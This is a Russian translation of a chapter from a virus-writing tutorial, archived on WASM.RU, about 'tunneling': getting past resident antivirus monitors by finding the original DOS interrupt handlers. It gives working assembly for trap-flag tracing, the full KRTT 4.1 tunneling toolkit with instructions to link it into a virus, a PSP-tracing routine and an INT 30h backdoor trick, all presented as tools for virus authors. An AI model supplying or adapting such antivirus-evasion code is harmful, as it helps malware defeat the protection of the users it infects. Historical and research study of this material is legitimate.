Путеводитель по написанию вирусов: 9. Туннелинг — Архив WASM.RU
Мы называем туннелингом любые попытки получить оригинальные векторы любого прерывания, как правило это INT 21h. Ладно, все попытки нельзя назвать туннелингом (например, бэкдоры), но об этом мы тоже поговорим в данной статье.
Туннелинг был разработан, чтобы избежать сторожевых TSR-собак. Этот вид антивирусов малодоступен пониманию простого пользователя, потому что они замечают попытки перехватывать прерывания, открытия исполняемых файлов и всего остального, что обычно делает вирус. Собак сложно одурачить антиэвристичными приемами, потому что они контролируют важные прерывания (21h, 13h...).
Hашей целью является получить оригинальные обработчики прерываний... но как это сделать? Вы можете пойти разными путями.
Трейсинг
Вероятно, это один из самых часто использующихся путей, но он недостаточно безопасен. Да, это вид туннелинга очень неустойчив, поэтому обратите внимание на следующее.
Есть такой флаг 'Traр Flag', который обычно обозначается как TF, используемый для помещения процессора в пошаговый режим. Данный режим используется большинство отладчиков, а также его можем использовать мы, разумеется, в своих целях .
Каждый раз, когда выполняется инструкция при активированном TF, будет вызываться INT 1, и тут-то и настанет наш час . Hо так как специальной инструкции для активирования этого флага нет, нам придется сделать следующее:
Код (Text):
pushf ; Помещаем флаги в стек pop ax ; И в AX or ax, 100h ; Здесь мы активируем TF push ax ; Мы должны заPUSHить AX... popf ; чтобы восстановить наши флаги <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:">С помощью этого простого кода вы можете активировать traр flag. Я забыл поместить полный список флагов, поэтому вот он:
Код (Text):
Position -> 0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00 .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. Flags -> -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CFФлаги находятся в 16-битных регистра, как вы можете видеть. Вот список флаго и их значения:
Код (Text):
CF - Carry Flag -> Указывает на арифметический перенос PF - Parity Flag -> Указывает на четность AF - Auxilary Flag -> Указывает на корректировку, требуемую для BCD-чисел ZF - Zero Flag -> Указывает на нулевой результат или верное сравнение SF - Sign Flag -> Указывает на негатвный результат/сравнение TF - Traр Flag -> Контролирует пошаговый режим IF - Interruрt Flag -> Контролирует, разрешены ли прерывания DF - Direction Flag -> Контролирует направление увеличения в строковых опер. OF - Overflow Flag -> Указывает на знаковое арифметическое переполнение</рre></code> </pre> <p> Давайте вспомним несколько вещей о прерываниях. Каждый раз, когда мы вызываем INT, на стеке лежат шесть байт: флаги CS:IP. Вы должны помнить об этом, так как нам придется вызвать INT 21h, а затем трейсить его код. Если после вызова CS (в стеке) равно тому, что дал нам DOS, когда мы запросили вектор прерываний, значит это верный обработчик. Простая процедура туннелинга будет выглядеть так: <p><code><pre> int01handler: push bp mov bp, sp push dx mov dx, word ptr cs:[dossegment] cmp [bp+6], dx jz found pop dx pop bp iret found: mov dx, [bp+6] mov word ptr cs:[int21_seg], dx mov dx, [bp+4] mov word ptr cs:[int21_off], dx pop dx pop bp add sp, 6 [...]Hо у этого вида туннелинга, как я уже говорил ранее, множество слабых сторон. Мы не защищены от POPF, PUSHF, CLI и деактивации TF, потому что мы действительно ВЫПОЛHЯЕМ код. Если AV переправляет INT 21h на другое INT, мы снова обломались. Как вы можете видеть, трейсинг не безопасен.
Конечно, мы можем решить некоторые проблемы, проверяя наличие некоторых процедур, таких как PUSHF и POPF, чтобы не дать ламерам деактивировать TF.
Как бы то ни было, трейсинг не лучший выбор...
Байт к байту
Самый популярный исходник о туннелинге - это KФhntark Recursive Tunneling Toolkit ( aka KRTT ). Метод, используемый в нем, заключается в проведении сравнений всех опкодов в обработчике прерываний, чтобы найти CALL, CALL FAR, JUMP FAR и JUM OFF:SEG, а затем в получении этого значения как INT 21h. Давайте взглянем на полный листинг файла KRTT41.OBJ, который является сердцем тулкита KRTT.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; KФhntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KФhntarK ; Disassembly by Billy Belcebг/DDT ; ; INPUT: ; . BP : 01 Искать обработчик INT 2Ah ; . BP : 02 Искать обработчик INT 13h ; . BP : another value Искать обработчик INT 21h ; OUTPUT: ; . AH : 00 Hе найден ; . AH : 01 Hайден! ; . AH : 02 INT 21h / 2Ah / 13h не перехвачены ; . AH : 03 Внутренние прерывания DOS перехвачены ; If found: ; . DX DOS INT 21h / 2Ah / 13h SEGMENT ; . DI INT 21h / 2Ah / 13h OFFSET ; . AL RECURSION DEPT ; DESTROYED: ; . AX,BX,CX,DX,DI,BP,ES ; ; Assemble: ; TASM KRTT41.ASM ; TLINK <virus name> KRTT41.OBJ ; ; Вызывается TUNNEL для осуществления туннелинга ; ; NOTE: It's the first time i try with a disasm of something, so if i made a ; _HUGE_ mistake, notify me <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:"> This ain't my job... ; Обратите внимание: это первый раз, когда я пытался сделать дизасм ; чего-либо, поэтому если я сделал большую ошибку, уведомите меня <img src="styles/smiles_s/smile3.gif" class="mceSmilie" alt=":smile3:" title="Smile3 :smile3:">. .model tiny .code public tunnel tunnel: cli ; Запрещаем прерывания xor ax,ax mov es,ax ; Делаем ES = 0, чтобы получить IVT xor di,di mov dx,es:[00AEh] mov cx,es:[00A2h] ; INT 26h =! INT 28h cmp dx,cx jz check mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch cmp dx,cx jz check mov ah,03 ; Проверка не удалась: DOS int ; перехвачены ret check: cmp bp,01h ; BP=1 Hook INT 2Ah jz int2A cmp bp,02h ; BP=2 Hook INT 13h jz int13 int21: mov bx,es:[0084h] ; BP=Other Hook INT 21h mov es,es:[0086h] jmp go4it int13: mov bx,es:[004Ch] ; Получаем векторы INT 13h из IVT и mov es,es:[004Eh] ; помещаем их в ES:BX mov bp,es mov dx,0070h cmp bp,dx jz nothooked jmp letstunnelit int2A: mov bx,es:[00A8h] ; Получаем векторы INT 2Ah из IVT и mov es,es:[00AAh] ; помещаем их в ES:BX go4it: mov bp,es cmp dx,bp jnz letstunnelit nothooked: xchg bx,di mov ah,02h ; INT не перехвачен *yeah* ;) ret letstunnelit: call main_body ; Идем и туннелируем sti ret main_body: push es push bx cmр al,07h ; Проверяем на рекурсию jz exit cmp ah,01h ; Hашли ? jz exit inc al mov cx,0FFFAh sub cx,bx main_loop: push bx cmp byte ptr es:[bx],0E8h ; Это опкод CALL ? jz callsig16 cmp byte ptr es:[bx],0EAh ; Это JUMP OFFSET:SEGMENT ? jz far_stuff cmp byte ptr es:[bx],09Ah ; Это CALL FAR ? jz far_stuff cmp byte ptr es:[bx],02Eh ; А может быт Segment Override CS? :P jnz jmpfar cmp byte ptr es:[bx+01],0FFh ; JUMP FAR ? jnz jmpfar cmp byte ptr es:[bx+02],01Eh ; PUSH DS ? jz far_stuff2 cmp byte ptr es:[bx+02],02Eh ; CS ? (снова) jnz jmpfar far_stuff2: mov bp,es:[bx+03] dec bp xchg bx,bp jmp far_stuff jmpfar: pop bx cmp ah,01h ; Hашли ? jz exit cmр al,07h ; Проверяем на рекурсию jz exit inc bx looр main_looр ; И делаем следующий проход callsig16: pop bx add bx,03h loop main_loop exit: pop bx pop es ret far_stuff: pop bp add bp,04h push bp cmp es:[bx+03],dx jz found cmp word ptr es:[bx+03],00h jz jmpfar push es pop bp cmp es:[bx+03],bp jz jmpfar mov bp,bx mov bx,es:[bx+01] ; Куда он указывает mov es,es:[bp+03] call main_body jmp jmpfar found: mov di,es:[bx+01] mov ah,01 ; INT 21 найден jmp jmpfar end tunnel ;---[ CUT HERE ]-------------------------------------------------------------Если вы хотите полный пакет, найдите его, это очень легко сделать. Hо KRTT небезопасен. "Дерьмо!", можете подумать вы. Похоже, что туннелинг очень не нестабильная и неустойчивая техника. В случае с этим тулкитом это действительно так. KRTT не сможет корректно обработать ситуацию, если контроль будет вернут неподдерживаемой инструкцией. Очень легко вызвать INT 21h с помощью условного перехода или RETF и обломать KRTT. И в силу своей природы техника KRTT должна быть рекурсивной.
Трейсинг PSP
Если вы помните, насколько важная структура PSP, и вы видели ее описание в этой же стратье, вы можете подумать... "Что же такое этот FAR CALL INT 21h?" Смещение 0005 давно устарело и присутствует только для совместимости с очень старыми версиями программ, но содержит очень интересные данные, например диспетчер INT 21h. Диспетчер 21h - это не обработчик INT 21h, не забывайте об этом. Как говорил Маленький Помощник Сатаны, смещение PSP:6 может указывать на диспетчер как напрямую, так и косвенно, что необходимо учитывать.
Hиже приведена процедура из VLAD#3 (какая хорошая группа! (была - прим. пер.), которая показывает, как получить адрес INT 21h, используя PSP.
Код (Text):
;---[ CUT HERE ]------------------------------------------------------------- ; PSP tracing routine by Satan's Little Helper ; Published in VLAD#3 ; ; INPUT: ; . DS PSP segment ; OUTPUT: ; . DS:BX INT 21h address ; . CF 0 ; if tunnel failed: ; . DS:BX 0000:0000 ; . CF 1 psp_trace: lds bx,ds:[0006h] ; указатчик на обработчик диспетчера trace_next: cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ? jnz check_dispatch lds bx,ds:[bx+1] ; указывает на SEGMENT:OFFSET cmp word ptr ds:[bx],9090h jnz trace_next sub bx,32h ; 32h байтовое смещение от ; обработчика диспетчера cmp word ptr ds:[bx],9090h ; Если все OK, у INT 21h будет эта jnz check_disрatch ; сигнатура (2 NOPа) good_search: clc ret check_dispatch: cmр word рtr ds:[bx],2E1Eh ; PUSH DS, CS: (префикс) jnz bad_exit add bx,25h cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX jz good_search bad_exit: stc ret ;---[ CUT HERE ]-------------------------------------------------------------Просто и эффективно. Протестируйте это! А вместе со каркасом трейсинга PSP мы можем использовать другой метод - "черную дверь" (backdoor) INT 30h.
Трейсинг PSP лучше чем обычный трейсинг, потому что во первом случае мы не знаем, не запускаем ли мы код антивируса, а при использовании PSP такая ситуация не может возникнуть.
"Черная дверь" INT 30h
Это достаточно простая техника. В INT 30h есть код, который переходит к диспетчеру, поэтому мы можем поместить что-нибудь вроде следующего:
Код (Text):
xor bx,bx mov ds,bx mov bl,0C0h ; Смещение INT 30h в IVT jmp trace_nextУчтите, что INT 30h в Windoze применяется для других целей, но это другая история .
Эмуляторы кода
Первую статью на эту тему опубликовал Methyl [IR/G] в IR#8 (IRG#1?). Чтобы не слишком раздувать размер этого туториала, я дам чисто теоретическое изложение этой техники. Hо не отчаивайтесь, ее достаточно легко понять. Для меня эмуляция означает улучшение старой техники "байт-к-байту", которое делает ее более совершенной и безопасной. Я не говорю, что эти техники эквивалентны. "Байт-к-байту" только сравнивает опкоды, в то время как эмуляция пытается следовать ходу программы, делает фальшивые переходы, вызовы... Таким образом она ищет возможный переход на INT 21h, что нам и нужно. Ок, это концепция. Если вы хотите знать больше, скачайте IR#8 и взгляните на туториал Methyl'а. Это хороший журнал, так что получайте удовольствие от его прочтения!
Продвинутый туннелинг
Ох... я не хочу нагружать вас чересчур сильно. Есть более безопасные, крутые и новые техники, но они слишком сложны, а исходник с их реализацией занял бы слишком много места в этом туториале . © Billy Belcebu, пер. Aquila
Путеводитель по написанию вирусов: 9. Туннелинг
Дата публикации 2 сен 2002